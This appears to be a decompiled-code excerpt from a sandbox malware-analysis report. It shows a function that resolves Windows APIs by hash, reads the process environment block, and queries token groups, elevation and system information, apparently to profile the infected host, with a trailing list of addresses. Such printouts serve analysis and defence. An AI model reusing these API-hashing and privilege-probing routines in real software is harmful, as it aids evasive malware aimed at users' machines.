                                                                                                      								_t420 = E6EC45864(_t429 + 4, __eflags,  *((intOrPtr*)(_t429 + 0x1c8)));
                                                                                                      								E6EC3DFA4(_t429 + 0x1c8);
                                                                                                      								_t407 = _t429 + 0x1d0;
                                                                                                      								E6EC455B0(_t429 + 8, _t429 + 0x1d0, 0x360d0c74);
                                                                                                      								_t401 = E6EC45864(_t429 + 4, __eflags,  *(_t429 + 0x1d0));
                                                                                                      								E6EC3DFA4(_t429 + 0x1d0);
                                                                                                      								__eflags = _t420;
                                                                                                      								if(_t420 != 0) {
                                                                                                      									__eflags = _t420 - 5;
                                                                                                      									if(_t420 != 5) {
                                                                                                      										__eflags = _t420 - 2;
                                                                                                      										if(_t420 != 2) {
                                                                                                      											L58:
                                                                                                      											E6EC3CFDC(_t429 + 0xc);
                                                                                                      											__eflags =  *((char*)(_t429 + 8));
                                                                                                      											if( *((char*)(_t429 + 8)) == 0) {
                                                                                                      												L65:
                                                                                                      												_t189 = 0;
                                                                                                      												__eflags = 0;
                                                                                                      												 *(_t429 + 4) = 0;
                                                                                                      												goto L66;
                                                                                                      											}
                                                                                                      											_t382 =  *(_t429 + 4);
                                                                                                      											__eflags = _t382;
                                                                                                      											if(_t382 == 0) {
                                                                                                      												L61:
                                                                                                      												_t238 = 1;
                                                                                                      												L63:
                                                                                                      												__eflags = _t238;
                                                                                                      												if(_t238 == 0) {
                                                                                                      													E6EC45558(_t382);
                                                                                                      												}
                                                                                                      												goto L65;
                                                                                                      											}
                                                                                                      											__eflags = _t382 - 0xffffffff;
                                                                                                      											if(_t382 != 0xffffffff) {
                                                                                                      												_t238 = 0;
                                                                                                      												__eflags = 0;
                                                                                                      												goto L63;
                                                                                                      											}
                                                                                                      											goto L61;
                                                                                                      										}
                                                                                                      										__eflags = _t401 - 1;
                                                                                                      										if(_t401 != 1) {
                                                                                                      											goto L58;
                                                                                                      										}
                                                                                                      										E6EC3CFDC(_t429 + 0xc);
                                                                                                      										__eflags =  *((char*)(_t429 + 8));
                                                                                                      										if( *((char*)(_t429 + 8)) == 0) {
                                                                                                      											L57:
                                                                                                      											 *(_t429 + 4) = 0;
                                                                                                      											_t189 = 5;
                                                                                                      											goto L66;
                                                                                                      										}
                                                                                                      										_t383 =  *(_t429 + 4);
                                                                                                      										__eflags = _t383;
                                                                                                      										if(_t383 == 0) {
                                                                                                      											L53:
                                                                                                      											_t241 = 1;
                                                                                                      											L55:
                                                                                                      											__eflags = _t241;
                                                                                                      											if(_t241 == 0) {
                                                                                                      												E6EC45558(_t383);
                                                                                                      											}
                                                                                                      											goto L57;
                                                                                                      										}
                                                                                                      										__eflags = _t383 - 0xffffffff;
                                                                                                      										if(_t383 != 0xffffffff) {
                                                                                                      											_t241 = 0;
                                                                                                      											__eflags = 0;
                                                                                                      											goto L55;
                                                                                                      										}
                                                                                                      										goto L53;
                                                                                                      									}
                                                                                                      									__eflags = _t401;
                                                                                                      									if(_t401 != 0) {
                                                                                                      										__eflags = _t401 - 1;
                                                                                                      										if(_t401 == 1) {
                                                                                                      											E6EC3CFDC(_t429 + 0xc);
                                                                                                      											__eflags =  *((char*)(_t429 + 8));
                                                                                                      											if( *((char*)(_t429 + 8)) == 0) {
                                                                                                      												L121:
                                                                                                      												 *(_t429 + 4) = 0;
                                                                                                      												_t189 = 4;
                                                                                                      												goto L66;
                                                                                                      											}
                                                                                                      											_t384 =  *(_t429 + 4);
                                                                                                      											__eflags = _t384;
                                                                                                      											if(_t384 == 0) {
                                                                                                      												L117:
                                                                                                      												_t244 = 1;
                                                                                                      												L119:
                                                                                                      												__eflags = _t244;
                                                                                                      												if(_t244 == 0) {
                                                                                                      													E6EC45558(_t384);
                                                                                                      												}
                                                                                                      												goto L121;
                                                                                                      											}
                                                                                                      											__eflags = _t384 - 0xffffffff;
                                                                                                      											if(_t384 != 0xffffffff) {
                                                                                                      												_t244 = 0;
                                                                                                      												__eflags = 0;
                                                                                                      												goto L119;
                                                                                                      											}
                                                                                                      											goto L117;
                                                                                                      										}
                                                                                                      										goto L58;
                                                                                                      									}
                                                                                                      									E6EC3CFDC(_t429 + 0xc);
                                                                                                      									__eflags =  *((char*)(_t429 + 8));
                                                                                                      									if( *((char*)(_t429 + 8)) == 0) {
                                                                                                      										L45:
                                                                                                      										 *(_t429 + 4) = 0;
                                                                                                      										_t189 = 3;
                                                                                                      										goto L66;
                                                                                                      									}
                                                                                                      									_t385 =  *(_t429 + 4);
                                                                                                      									__eflags = _t385;
                                                                                                      									if(_t385 == 0) {
                                                                                                      										L41:
                                                                                                      										_t247 = 1;
                                                                                                      										L43:
                                                                                                      										__eflags = _t247;
                                                                                                      										if(_t247 == 0) {
                                                                                                      											E6EC45558(_t385);
                                                                                                      										}
                                                                                                      										goto L45;
                                                                                                      									}
                                                                                                      									__eflags = _t385 - 0xffffffff;
                                                                                                      									if(_t385 != 0xffffffff) {
                                                                                                      										_t247 = 0;
                                                                                                      										__eflags = 0;
                                                                                                      										goto L43;
                                                                                                      									}
                                                                                                      									goto L41;
                                                                                                      								}
                                                                                                      								__eflags = _t401;
                                                                                                      								if(_t401 != 0) {
                                                                                                      									goto L58;
                                                                                                      								}
                                                                                                      								E6EC3CFDC(_t429 + 0xc);
                                                                                                      								__eflags =  *((char*)(_t429 + 8));
                                                                                                      								if( *((char*)(_t429 + 8)) == 0) {
                                                                                                      									L35:
                                                                                                      									 *(_t429 + 4) = 0;
                                                                                                      									_t189 = 2;
                                                                                                      									goto L66;
                                                                                                      								}
                                                                                                      								_t386 =  *(_t429 + 4);
                                                                                                      								__eflags = _t386;
                                                                                                      								if(_t386 == 0) {
                                                                                                      									L31:
                                                                                                      									_t250 = 1;
                                                                                                      									L33:
                                                                                                      									__eflags = _t250;
                                                                                                      									if(_t250 == 0) {
                                                                                                      										E6EC45558(_t386);
                                                                                                      									}
                                                                                                      									goto L35;
                                                                                                      								}
                                                                                                      								__eflags = _t386 - 0xffffffff;
                                                                                                      								if(_t386 != 0xffffffff) {
                                                                                                      									_t250 = 0;
                                                                                                      									__eflags = 0;
                                                                                                      									goto L33;
                                                                                                      								}
                                                                                                      								goto L31;
                                                                                                      							}
                                                                                                      							E6EC3CFDC(_t429 + 0xc);
                                                                                                      							__eflags =  *((char*)(_t429 + 8));
                                                                                                      							if( *((char*)(_t429 + 8)) == 0) {
                                                                                                      								L25:
                                                                                                      								 *(_t429 + 4) = 0;
                                                                                                      								_t189 = 1;
                                                                                                      								goto L66;
                                                                                                      							}
                                                                                                      							_t387 =  *(_t429 + 4);
                                                                                                      							__eflags = _t387;
                                                                                                      							if(_t387 == 0) {
                                                                                                      								L21:
                                                                                                      								_t254 = 1;
                                                                                                      								L23:
                                                                                                      								__eflags = _t254;
                                                                                                      								if(_t254 == 0) {
                                                                                                      									E6EC45558(_t387);
                                                                                                      								}
                                                                                                      								goto L25;
                                                                                                      							}
                                                                                                      							__eflags = _t387 - 0xffffffff;
                                                                                                      							if(_t387 != 0xffffffff) {
                                                                                                      								_t254 = 0;
                                                                                                      								__eflags = 0;
                                                                                                      								goto L23;
                                                                                                      							}
                                                                                                      							goto L21;
                                                                                                      						} else {
                                                                                                      							_t189 = 1;
                                                                                                      							L66:
                                                                                                      							 *((intOrPtr*)( *0x6ec4d1f8 + 0x24)) = _t189;
                                                                                                      							_t190 = E6EC41030(0xffffffffffffffff);
                                                                                                      							_t320 =  *0x6ec4d1f8;
                                                                                                      							 *((char*)(_t320 + 0x29)) = _t190;
                                                                                                      							 *((intOrPtr*)(_t320 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
                                                                                                      							if( *_t320 >= 0x10) {
                                                                                                      								__eflags = 0xffffffffffffffff;
                                                                                                      								 *((intOrPtr*)( *0x6ec4d1f8 + 0x2c)) = E6EC410A4(0x6ec4d1f8, 0xffffffffffffffff);
                                                                                                      								L78:
                                                                                                      								if(E6EC4306C(0x8e844d1e, 0x925d7fea, 0x8e844d1e, 0x8e844d1e) != 0) {
                                                                                                      									GetSystemInfo(_t429 + 0x164); // executed
                                                                                                      								}
                                                                                                      								_t196 =  *0x6ec4d1f8;
                                                                                                      								_t291 = _t429 + 0x178;
                                                                                                      								_t409 = _t429 + 0x170;
                                                                                                      								 *((short*)(_t196 + 0xe)) =  *_t291;
                                                                                                      								 *((intOrPtr*)(_t196 + 0x10)) =  *((intOrPtr*)(_t291 - 0x10));
                                                                                                      								 *((intOrPtr*)(_t196 + 0x14)) =  *((intOrPtr*)(_t291 - 0xc));
                                                                                                      								 *((intOrPtr*)(_t196 + 0x18)) =  *_t409;
                                                                                                      								 *((intOrPtr*)(_t196 + 0x1c)) =  *((intOrPtr*)(_t409 + 0x10));
                                                                                                      								return _t196;
                                                                                                      							}
                                                                                                      							 *(_t429 + 0x19c) = 0;
                                                                                                      							_t372 = E6EC4306C(0x150c05fc, 0x1da4d409, 0x150c05fc, 0x150c05fc);
                                                                                                      							if(_t372 == 0) {
                                                                                                      								L74:
                                                                                                      								_t200 =  *0x6ec4d1f8;
                                                                                                      								if( *((char*)(_t200 + 0x28)) == 0) {
                                                                                                      									 *((intOrPtr*)(_t200 + 0x2c)) = 3;
                                                                                                      								} else {
                                                                                                      									 *((intOrPtr*)(_t200 + 0x2c)) = 5;
                                                                                                      								}
                                                                                                      								goto L78;
                                                                                                      							}
                                                                                                      							_push(_t429 + 0x19c);
                                                                                                      							_push(8);
                                                                                                      							_push(0xffffffff);
                                                                                                      							if( *_t372() == 0) {
                                                                                                      								_t203 = E6EC435F0(_t407);
                                                                                                      								__eflags = _t203;
                                                                                                      								if(_t203 != 0) {
                                                                                                      									goto L74;
                                                                                                      								}
                                                                                                      							}
                                                                                                      							 *(_t429 + 0x30) =  *(_t429 + 0x19c);
                                                                                                      							 *((char*)(_t429 + 0x34)) = 1;
                                                                                                      							 *(_t429 + 0x1a4) = 0;
                                                                                                      							_t325 = E6EC4306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc);
                                                                                                      							if(_t325 != 0) {
                                                                                                      								_push(_t429 + 0x1a4);
                                                                                                      								_push(0);
                                                                                                      								_push(0);
                                                                                                      								_push(1);
                                                                                                      								_push( *(_t429 + 0x1ac));
                                                                                                      								if( *_t325() == 0) {
                                                                                                      									E6EC435F0(_t407);
                                                                                                      								}
                                                                                                      							}
                                                                                                      							_t206 =  *(_t429 + 0x1a4);
                                                                                                      							if( *(_t429 + 0x1a4) != 0) {
                                                                                                      								E6EC3F584(_t429 + 0x18c, _t206);
                                                                                                      								_t411 = E6EC4306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc);
                                                                                                      								__eflags = _t411;
                                                                                                      								if(_t411 == 0) {
                                                                                                      									L133:
                                                                                                      									E6EC3F654(_t429 + 0x188);
                                                                                                      									goto L72;
                                                                                                      								}
                                                                                                      								_t212 = E6EC3F4BC(_t429 + 0x18c, 0);
                                                                                                      								_t213 = E6EC3F4CC(_t429 + 0x188);
                                                                                                      								_t215 =  *_t411( *(_t429 + 0x1ac), 1, _t212, _t213, _t429 + 0x1a4);
                                                                                                      								__eflags = _t215;
                                                                                                      								if(_t215 == 0) {
                                                                                                      									_t216 = E6EC435F0(_t411);
                                                                                                      									__eflags = _t216;
                                                                                                      									if(_t216 != 0) {
                                                                                                      										goto L133;
                                                                                                      									}
                                                                                                      								}
                                                                                                      								_t423 = E6EC3F4BC(_t429 + 0x18c, 0);
                                                                                                      								E6EC3DF4C(_t429 + 0x1b4, 0);
                                                                                                      								 *(_t429 + 0x1ac) = 0;
                                                                                                      								_t377 = E6EC4306C(0x150c05fc, 0xfc1a24a1, 0x150c05fc, 0x150c05fc);
                                                                                                      								__eflags = _t377;
                                                                                                      								if(_t377 != 0) {
                                                                                                      									 *_t377( *_t423, _t429 + 0x1ac);
                                                                                                      								}
                                                                                                      								E6EC3DFC0(_t429 + 0x1b4,  *(_t429 + 0x1ac));
                                                                                                      								_t223 = E6EC4306C(0x8e844d1e, 0xda6a2597, 0x8e844d1e, 0x8e844d1e);
                                                                                                      								__eflags = _t223;
                                                                                                      								if(_t223 != 0) {
                                                                                                      									_push( *(_t429 + 0x1ac));
                                                                                                      									asm("int3");
                                                                                                      									asm("int3");
                                                                                                      								}
                                                                                                      								E6EC3E06C(_t429 + 0x1b8 - 8, _t429 + 0x1b8);
                                                                                                      								_t425 = E6EC44FFC( *((intOrPtr*)(_t429 + 0x1b8)), E6EC3E8A8( *((intOrPtr*)(_t429 + 0x1b8)), 0x7fffffff));
                                                                                                      								E6EC3DFA4(_t429 + 0x1b8);
                                                                                                      								E6EC3DFA4(_t429 + 0x1b0);
                                                                                                      								E6EC3F654(_t429 + 0x188);
                                                                                                      								__eflags =  *((char*)(_t429 + 0x34));
                                                                                                      								if( *((char*)(_t429 + 0x34)) != 0) {
                                                                                                      									E6EC3BB44(_t429 + 0x30);
                                                                                                      								}
                                                                                                      								__eflags = _t425 - 0x6df4cf7;
                                                                                                      								if(_t425 != 0x6df4cf7) {
                                                                                                      									goto L74;
                                                                                                      								} else {
                                                                                                      									 *((intOrPtr*)( *0x6ec4d1f8 + 0x2c)) = 6;
                                                                                                      									goto L78;
                                                                                                      								}
                                                                                                      							} else {
                                                                                                      								L72:
                                                                                                      								if( *((char*)(_t429 + 0x34)) != 0) {
                                                                                                      									E6EC3BB44(_t429 + 0x30);
                                                                                                      								}
                                                                                                      								goto L74;
                                                                                                      							}
                                                                                                      						}
                                                                                                      					}
                                                                                                      					_push(_t429 + 0x198);
                                                                                                      					_push(8);
                                                                                                      					_push(0xffffffff);
                                                                                                      					if( *_t363() == 0) {
                                                                                                      						_t259 = E6EC435F0(_t404);
                                                                                                      						__eflags = _t259;
                                                                                                      						if(_t259 != 0) {
                                                                                                      							goto L12;
                                                                                                      						}
                                                                                                      					}
                                                                                                      					 *(_t429 + 0x14) =  *(_t429 + 0x198);
                                                                                                      					 *((char*)(_t429 + 0x18)) = 1;
                                                                                                      					 *(_t429 + 0x1a0) = 0;
                                                                                                      					if(E6EC4306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc) != 0) {
                                                                                                      						_t288 = GetTokenInformation( *(_t429 + 0x1a8), 2, 0, 0, _t429 + 0x1a0); // executed
                                                                                                      						if(_t288 == 0) {
                                                                                                      							E6EC435F0(_t404);
                                                                                                      						}
                                                                                                      					}
                                                                                                      					_t262 =  *(_t429 + 0x1a0);
                                                                                                      					if( *(_t429 + 0x1a0) != 0) {
                                                                                                      						E6EC3F584(_t429 + 0x3c, _t262);
                                                                                                      						_t265 = E6EC4306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc);
                                                                                                      						_t407 = _t265;
                                                                                                      						__eflags = _t265;
                                                                                                      						if(_t265 == 0) {
                                                                                                      							L107:
                                                                                                      							E6EC3F654(_t429 + 0x38);
                                                                                                      							goto L10;
                                                                                                      						}
                                                                                                      						_t268 = E6EC3F4BC(_t429 + 0x3c, 0);
                                                                                                      						_t271 = GetTokenInformation( *(_t429 + 0x1a8), 2, _t268, E6EC3F4CC(_t429 + 0x38), _t429 + 0x1a0); // executed
                                                                                                      						__eflags = _t271;
                                                                                                      						if(_t271 == 0) {
                                                                                                      							_t272 = E6EC435F0(_t407);
                                                                                                      							__eflags = _t272;
                                                                                                      							if(_t272 != 0) {
                                                                                                      								goto L107;
                                                                                                      							}
                                                                                                      						}
                                                                                                      						_t427 = E6EC3F4BC(_t429 + 0x3c, 0);
                                                                                                      						 *(_t429 + 0x1d8 - 0x30) = 0;
                                                                                                      						asm("movsd");
                                                                                                      						asm("movsb");
                                                                                                      						asm("movsb");
                                                                                                      						_t407 = E6EC4306C(0x150c05fc, 0x2351aaca, 0x150c05fc, 0x150c05fc);
                                                                                                      						__eflags = _t407;
                                                                                                      						if(_t407 == 0) {
                                                                                                      							goto L107;
                                                                                                      						}
                                                                                                      						_t276 = _t429 + 0x1a8;
                                                                                                      						_t277 =  *_t407(_t276 + 0x30, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0, _t276);
                                                                                                      						__eflags = _t277;
                                                                                                      						if(_t277 == 0) {
                                                                                                      							_t278 = E6EC435F0(_t407);
                                                                                                      							__eflags = _t278;
                                                                                                      							if(_t278 != 0) {
                                                                                                      								goto L107;
                                                                                                      							}
                                                                                                      						}
                                                                                                      						_t403 =  *(_t429 + 0x1a8);
                                                                                                      						__eflags =  *_t427;
                                                                                                      						if( *_t427 <= 0) {
                                                                                                      							L101:
                                                                                                      							__eflags = _t403;
                                                                                                      							if(_t403 == 0) {
                                                                                                      								L103:
                                                                                                      								_t393 = 1;
                                                                                                      								L105:
                                                                                                      								__eflags = _t393;
                                                                                                      								if(_t393 == 0) {
                                                                                                      									E6EC40FD4(_t403, _t407, _t403);
                                                                                                      								}
                                                                                                      								goto L107;
                                                                                                      							}
                                                                                                      							__eflags = _t403 - 0xffffffff;
                                                                                                      							if(_t403 != 0xffffffff) {
                                                                                                      								_t393 = 0;
                                                                                                      								__eflags = 0;
                                                                                                      								goto L105;
                                                                                                      							}
                                                                                                      							goto L103;
                                                                                                      						}
                                                                                                      						_t413 = 0;
                                                                                                      						__eflags = 0;
                                                                                                      						do {
                                                                                                      							_t282 = E6EC4306C(0x150c05fc, 0xb4757511, 0x150c05fc, 0x150c05fc);
                                                                                                      							__eflags = _t282;
                                                                                                      							if(_t282 == 0) {
                                                                                                      								goto L100;
                                                                                                      							}
                                                                                                      							_push( *((intOrPtr*)(_t427 + 4 + _t413 * 8)));
                                                                                                      							_push( *(_t429 + 0x1ac));
                                                                                                      							asm("int3");
                                                                                                      							asm("int3");
                                                                                                      							__eflags = _t282;
                                                                                                      							if(_t282 == 0) {
                                                                                                      								goto L100;
                                                                                                      							}
                                                                                                      							__eflags = _t403;
                                                                                                      							if(_t403 == 0) {
                                                                                                      								L93:
                                                                                                      								_t395 = 1;
                                                                                                      								L95:
                                                                                                      								__eflags = _t395;
                                                                                                      								if(_t395 == 0) {
                                                                                                      									E6EC40FD4(_t403, _t413, _t403);
                                                                                                      								}
                                                                                                      								E6EC3F654(_t429 + 0x38);
                                                                                                      								__eflags =  *((char*)(_t429 + 0x18));
                                                                                                      								if( *((char*)(_t429 + 0x18)) != 0) {
                                                                                                      									E6EC3BB44(_t429 + 0x14);
                                                                                                      								}
                                                                                                      								_t364 = 1;
                                                                                                      								goto L13;
                                                                                                      							}
                                                                                                      							__eflags = _t403 - 0xffffffff;
                                                                                                      							if(_t403 != 0xffffffff) {
                                                                                                      								_t395 = 0;
                                                                                                      								__eflags = 0;
                                                                                                      								goto L95;
                                                                                                      							}
                                                                                                      							goto L93;
                                                                                                      							L100:
                                                                                                      							_t413 = _t413 + 1;
                                                                                                      							__eflags = _t413 -  *_t427;
                                                                                                      						} while (_t413 <  *_t427);
                                                                                                      						goto L101;
                                                                                                      					}
                                                                                                      					L10:
                                                                                                      					if( *((char*)(_t429 + 0x18)) != 0) {
                                                                                                      						E6EC3BB44(_t429 + 0x14);
                                                                                                      					}
                                                                                                      					goto L12;
                                                                                                      				} else {
                                                                                                      					return _t155;
                                                                                                      				}
                                                                                                      			}




































































                                                                                                      0x6ec4073f
                                                                                                      0x6ec40741
                                                                                                      0x6ec40748
                                                                                                      0x6ec40fc7
                                                                                                      0x6ec40fcd
                                                                                                      0x6ec40fcd
                                                                                                      0x6ec40752
                                                                                                      0x6ec4075e
                                                                                                      0x6ec4076a
                                                                                                      0x6ec4076f
                                                                                                      0x6ec4077c
                                                                                                      0x6ec4078d
                                                                                                      0x6ec4078f
                                                                                                      0x6ec40790
                                                                                                      0x6ec40791
                                                                                                      0x6ec40791
                                                                                                      0x6ec40792
                                                                                                      0x6ec40796
                                                                                                      0x6ec4079a
                                                                                                      0x6ec4079f
                                                                                                      0x6ec407a2
                                                                                                      0x6ec407a8
                                                                                                      0x6ec407c2
                                                                                                      0x6ec407c9
                                                                                                      0x6ec407cc
                                                                                                      0x6ec407cf
                                                                                                      0x6ec407d1
                                                                                                      0x6ec407dd
                                                                                                      0x6ec407ea
                                                                                                      0x6ec407f7
                                                                                                      0x6ec407fb
                                                                                                      0x6ec40887
                                                                                                      0x6ec40887
                                                                                                      0x6ec40889
                                                                                                      0x6ec4088d
                                                                                                      0x6ec40898
                                                                                                      0x6ec408ae
                                                                                                      0x6ec408b1
                                                                                                      0x6ec408b1
                                                                                                      0x6ec408b5
                                                                                                      0x6ec408be
                                                                                                      0x6ec408c3
                                                                                                      0x6ec408c3
                                                                                                      0x6ec408c5
                                                                                                      0x6ec408d6
                                                                                                      0x6ec408f8
                                                                                                      0x6ec408fa
                                                                                                      0x6ec408fb
                                                                                                      0x6ec408ff
                                                                                                      0x6ec408ff
                                                                                                      0x6ec40908
                                                                                                      0x6ec40914
                                                                                                      0x6ec4091d
                                                                                                      0x6ec40933
                                                                                                      0x6ec40943
                                                                                                      0x6ec40948
                                                                                                      0x6ec4094c
                                                                                                      0x6ec40951
                                                                                                      0x6ec40953
                                                                                                      0x6ec409a3
                                                                                                      0x6ec409b8
                                                                                                      0x6ec409bc
                                                                                                      0x6ec409c1
                                                                                                      0x6ec409d2
                                                                                                      0x6ec409e7
                                                                                                      0x6ec409eb
                                                                                                      0x6ec409f0
                                                                                                      0x6ec409f2
                                                                                                      0x6ec40a39
                                                                                                      0x6ec40a3c
                                                                                                      0x6ec40a8a
                                                                                                      0x6ec40a8d
                                                                                                      0x6ec40ace
                                                                                                      0x6ec40ad2
                                                                                                      0x6ec40ad7
                                                                                                      0x6ec40adc
                                                                                                      0x6ec40afb
                                                                                                      0x6ec40afb
                                                                                                      0x6ec40afb
                                                                                                      0x6ec40afd
                                                                                                      0x00000000
                                                                                                      0x6ec40afd
                                                                                                      0x6ec40ade
                                                                                                      0x6ec40ae2
                                                                                                      0x6ec40ae4
                                                                                                      0x6ec40aeb
                                                                                                      0x6ec40aeb
                                                                                                      0x6ec40af1
                                                                                                      0x6ec40af1
                                                                                                      0x6ec40af3
                                                                                                      0x6ec40af6
                                                                                                      0x6ec40af6
                                                                                                      0x00000000
                                                                                                      0x6ec40af3
                                                                                                      0x6ec40ae6
                                                                                                      0x6ec40ae9
                                                                                                      0x6ec40aef
                                                                                                      0x6ec40aef
                                                                                                      0x00000000
                                                                                                      0x6ec40aef
                                                                                                      0x00000000
                                                                                                      0x6ec40ae9
                                                                                                      0x6ec40a8f
                                                                                                      0x6ec40a92
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec40a98
                                                                                                      0x6ec40a9d
                                                                                                      0x6ec40aa2
                                                                                                      0x6ec40ac1
                                                                                                      0x6ec40ac1
                                                                                                      0x6ec40acb
                                                                                                      0x00000000
                                                                                                      0x6ec40acb
                                                                                                      0x6ec40aa4
                                                                                                      0x6ec40aa8
                                                                                                      0x6ec40aaa
                                                                                                      0x6ec40ab1
                                                                                                      0x6ec40ab1
                                                                                                      0x6ec40ab7
                                                                                                      0x6ec40ab7
                                                                                                      0x6ec40ab9
                                                                                                      0x6ec40abc
                                                                                                      0x6ec40abc
                                                                                                      0x00000000
                                                                                                      0x6ec40ab9
                                                                                                      0x6ec40aac
                                                                                                      0x6ec40aaf
                                                                                                      0x6ec40ab5
                                                                                                      0x6ec40ab5
                                                                                                      0x00000000
                                                                                                      0x6ec40ab5
                                                                                                      0x00000000
                                                                                                      0x6ec40aaf
                                                                                                      0x6ec40a3e
                                                                                                      0x6ec40a40
                                                                                                      0x6ec40a7f
                                                                                                      0x6ec40a82
                                                                                                      0x6ec40df4
                                                                                                      0x6ec40df9
                                                                                                      0x6ec40dfe
                                                                                                      0x6ec40e1d
                                                                                                      0x6ec40e1d
                                                                                                      0x6ec40e27
                                                                                                      0x00000000
                                                                                                      0x6ec40e27
                                                                                                      0x6ec40e00
                                                                                                      0x6ec40e04
                                                                                                      0x6ec40e06
                                                                                                      0x6ec40e0d
                                                                                                      0x6ec40e0d
                                                                                                      0x6ec40e13
                                                                                                      0x6ec40e13
                                                                                                      0x6ec40e15
                                                                                                      0x6ec40e18
                                                                                                      0x6ec40e18
                                                                                                      0x00000000
                                                                                                      0x6ec40e15
                                                                                                      0x6ec40e08
                                                                                                      0x6ec40e0b
                                                                                                      0x6ec40e11
                                                                                                      0x6ec40e11
                                                                                                      0x00000000
                                                                                                      0x6ec40e11
                                                                                                      0x00000000
                                                                                                      0x6ec40e0b
                                                                                                      0x00000000
                                                                                                      0x6ec40a88
                                                                                                      0x6ec40a46
                                                                                                      0x6ec40a4b
                                                                                                      0x6ec40a50
                                                                                                      0x6ec40a6f
                                                                                                      0x6ec40a6f
                                                                                                      0x6ec40a79
                                                                                                      0x00000000
                                                                                                      0x6ec40a79
                                                                                                      0x6ec40a52
                                                                                                      0x6ec40a56
                                                                                                      0x6ec40a58
                                                                                                      0x6ec40a5f
                                                                                                      0x6ec40a5f
                                                                                                      0x6ec40a65
                                                                                                      0x6ec40a65
                                                                                                      0x6ec40a67
                                                                                                      0x6ec40a6a
                                                                                                      0x6ec40a6a
                                                                                                      0x00000000
                                                                                                      0x6ec40a67
                                                                                                      0x6ec40a5a
                                                                                                      0x6ec40a5d
                                                                                                      0x6ec40a63
                                                                                                      0x6ec40a63
                                                                                                      0x00000000
                                                                                                      0x6ec40a63
                                                                                                      0x00000000
                                                                                                      0x6ec40a5d
                                                                                                      0x6ec409f4
                                                                                                      0x6ec409f6
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec40a00
                                                                                                      0x6ec40a05
                                                                                                      0x6ec40a0a
                                                                                                      0x6ec40a29
                                                                                                      0x6ec40a29
                                                                                                      0x6ec40a33
                                                                                                      0x00000000
                                                                                                      0x6ec40a33
                                                                                                      0x6ec40a0c
                                                                                                      0x6ec40a10
                                                                                                      0x6ec40a12
                                                                                                      0x6ec40a19
                                                                                                      0x6ec40a19
                                                                                                      0x6ec40a1f
                                                                                                      0x6ec40a1f
                                                                                                      0x6ec40a21
                                                                                                      0x6ec40a24
                                                                                                      0x6ec40a24
                                                                                                      0x00000000
                                                                                                      0x6ec40a21
                                                                                                      0x6ec40a14
                                                                                                      0x6ec40a17
                                                                                                      0x6ec40a1d
                                                                                                      0x6ec40a1d
                                                                                                      0x00000000
                                                                                                      0x6ec40a1d
                                                                                                      0x00000000
                                                                                                      0x6ec40a17
                                                                                                      0x6ec40959
                                                                                                      0x6ec4095e
                                                                                                      0x6ec40963
                                                                                                      0x6ec40982
                                                                                                      0x6ec40982
                                                                                                      0x6ec4098c
                                                                                                      0x00000000
                                                                                                      0x6ec4098c
                                                                                                      0x6ec40965
                                                                                                      0x6ec40969
                                                                                                      0x6ec4096b
                                                                                                      0x6ec40972
                                                                                                      0x6ec40972
                                                                                                      0x6ec40978
                                                                                                      0x6ec40978
                                                                                                      0x6ec4097a
                                                                                                      0x6ec4097d
                                                                                                      0x6ec4097d
                                                                                                      0x00000000
                                                                                                      0x6ec4097a
                                                                                                      0x6ec4096d
                                                                                                      0x6ec40970
                                                                                                      0x6ec40976
                                                                                                      0x6ec40976
                                                                                                      0x00000000
                                                                                                      0x6ec40976
                                                                                                      0x00000000
                                                                                                      0x6ec4089a
                                                                                                      0x6ec4089c
                                                                                                      0x6ec40b01
                                                                                                      0x6ec40b06
                                                                                                      0x6ec40b09
                                                                                                      0x6ec40b0e
                                                                                                      0x6ec40b10
                                                                                                      0x6ec40b25
                                                                                                      0x6ec40b28
                                                                                                      0x6ec40bf6
                                                                                                      0x6ec40bfe
                                                                                                      0x6ec40c01
                                                                                                      0x6ec40c16
                                                                                                      0x6ec40c20
                                                                                                      0x6ec40c20
                                                                                                      0x6ec40c22
                                                                                                      0x6ec40c24
                                                                                                      0x6ec40c33
                                                                                                      0x6ec40c3f
                                                                                                      0x6ec40c43
                                                                                                      0x6ec40c46
                                                                                                      0x6ec40c49
                                                                                                      0x6ec40c4c
                                                                                                      0x00000000
                                                                                                      0x6ec40c4c
                                                                                                      0x6ec40b38
                                                                                                      0x6ec40b4a
                                                                                                      0x6ec40b4e
                                                                                                      0x6ec40bda
                                                                                                      0x6ec40bda
                                                                                                      0x6ec40be0
                                                                                                      0x6ec40beb
                                                                                                      0x6ec40be2
                                                                                                      0x6ec40be2
                                                                                                      0x6ec40be2
                                                                                                      0x00000000
                                                                                                      0x6ec40be0
                                                                                                      0x6ec40b5b
                                                                                                      0x6ec40b5c
                                                                                                      0x6ec40b5e
                                                                                                      0x6ec40b64
                                                                                                      0x6ec40fb3
                                                                                                      0x6ec40fb8
                                                                                                      0x6ec40fba
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec40fc0
                                                                                                      0x6ec40b7b
                                                                                                      0x6ec40b7f
                                                                                                      0x6ec40b84
                                                                                                      0x6ec40b96
                                                                                                      0x6ec40b9a
                                                                                                      0x6ec40ba5
                                                                                                      0x6ec40ba6
                                                                                                      0x6ec40ba7
                                                                                                      0x6ec40ba8
                                                                                                      0x6ec40baa
                                                                                                      0x6ec40bb5
                                                                                                      0x6ec40e2d
                                                                                                      0x6ec40e2d
                                                                                                      0x6ec40bb5
                                                                                                      0x6ec40bbb
                                                                                                      0x6ec40bc4
                                                                                                      0x6ec40e3f
                                                                                                      0x6ec40e55
                                                                                                      0x6ec40e57
                                                                                                      0x6ec40e59
                                                                                                      0x6ec40f94
                                                                                                      0x6ec40f9b
                                                                                                      0x00000000
                                                                                                      0x6ec40f9b
                                                                                                      0x6ec40e68
                                                                                                      0x6ec40e76
                                                                                                      0x6ec40e90
                                                                                                      0x6ec40e92
                                                                                                      0x6ec40e94
                                                                                                      0x6ec40fa5
                                                                                                      0x6ec40faa
                                                                                                      0x6ec40fac
                                                                                                      0x00000000
                                                                                                      0x00000000
